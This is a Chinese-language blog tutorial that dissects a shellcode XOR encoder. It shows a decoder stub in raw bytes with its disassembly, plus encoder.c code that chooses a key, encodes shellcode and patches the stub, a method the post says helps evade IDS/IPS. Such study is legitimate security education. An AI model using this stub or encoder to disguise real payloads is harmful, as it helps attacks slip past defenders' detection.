分享

shellcode xor编码/解码[2]

 黑犬黑犬_924 2017-11-21

0x04 源码解读


下面以decoder_jump_header为例来说明解码部分



unsigned char decoder_jump_header[] = {
0xEB, 0x10, 0x5B, 0x31, 0xC9, 0x66, 0x81, 0xE9, 
0xA1, 0xFE, 0x80, 0x33, 0x99, 0x43, 0xE2, 0xFA, 
0xEB, 0x05, 0xE8, 0xEB, 0xFF, 0xFF, 0xFF
};


复制代码

echo -ne "\xEB\x10\x5B\x31\xC9\x66\x81\xE9\xA1\xFE\x80\x33\x99\x43\xE2\xFA\xEB\x05\xE8\xEB\xFF\xFF\xFF" | ndisasm -u -

00000000 EB10 jmp short 0x12
00000002 5B pop ebx
00000003 31C9 xor ecx,ecx
00000005 6681E9A1FE sub cx,0xfea1
0000000A 803399 xor byte [ebx],0x99
0000000D 43 inc ebx
0000000E E2FA loop 0xa
00000010 EB05 jmp short 0x17
00000012 E8EBFFFFFF call dword 0x2

复制代码

这段就是decoder,也就是前文所说明的部分,然后会在这个解码器的后面放上真正的已经做过处理的shellcode
下面解读部分encoder.c的源代码
这个encoder.c通过xor来处理需要剔除的字节,原理很简单
下面的代码是寻找一个字节,使它与要剔除的字节异或后,产生的新的字节,不会出现在原本的shellcode中
这样做是为了防止原本的shellcode的字节异或后又生成要剔除的字节


复制代码

/* Scan the shellcode for suitable encode byte */
for (i = 1; i < 255; i++) {

/* Mark the candidate as found */
found = 1;

/* Try out every byte in encode_bytes array */
for (j = 0; j < size; j++) {

/* XOR candidate with encode_bytes */
try = i^encode_bytes[j];

/* Now try every byte in shellcode */
for (k = 0; k < len; k++) {

c = 0xff&filebuf[k];

/* If match, mark the candidate "not found" */
if (c == try) {
found = 0;
break;
}
}
}
/* Break out if byte found */
if (found == 1) break;
}

复制代码

创建新的shellcode,截取jump传统方式的来解读一下


复制代码

/* Create the new shellcode */

/* jump/call decoder */

if (decoder == DECODER_JUMP) {
/* Copy 1st header */
memcpy(&shellbuf[0], decoder_jump_header, 
sizeof(decoder_jump_header)); //拷贝解码字节

/* Copy the actual shellcode */
for (i = 0; i < len; i++)
filebuf[i] = filebuf[i]^encode_byte;
memcpy(&shellbuf[sizeof(decoder_jump_header)], 
filebuf, len); //拷贝经过xor处理后的实际shellcode

/* High len byte: */ //处理字节数
shellbuf[9] = ((0x10000-len)>>8)&0xff;

/* Low len byte: */
shellbuf[8] = (0x10000-len)&0xff;
/* Adjust, if needed.. */
if (shellbuf[8] == 0)
shellbuf[8]++;

/* XOR byte */
shellbuf[12] = encode_byte; //将0x99修改为xor使用的字节

/* Decoder register */ //使用不同寄存器的情况下,修改相应的字节,例如ebx的话第三个字节0x5b,第11个字节为0x33,第13个字节为0x43,这些在反汇编下很容易看出来
switch (reg) {
case REG_EAX:
shellbuf[2] = 0x58;
shellbuf[11] = 0x30;
shellbuf[13] = 0x40;
break;
case REG_EDX:
shellbuf[2] = 0x5a;
shellbuf[11] = 0x32;
shellbuf[13] = 0x42;
break;
case REG_EBX:
shellbuf[2] = 0x5b;
shellbuf[11] = 0x33;
shellbuf[13] = 0x43;
break;
}
}

复制代码

到此为此基本了解了这个编码解码器的原理。这是一种防止限制shellcode个别字符使用的,以及防止IDS/IPS检测等等的方法。


0x05 参考
http://www./~jt/encoder/
http://blog.csdn.net/ych_max/article/details/815832

    本站是提供个人知识管理的网络存储空间,所有内容均由用户发布,不代表本站观点。请注意甄别内容中的联系方式、诱导购买等信息,谨防诈骗。如发现有害或侵权内容,请点击一键举报。
    转藏 分享 献花(0

    0条评论

    发表

    请遵守用户 评论公约

    类似文章 更多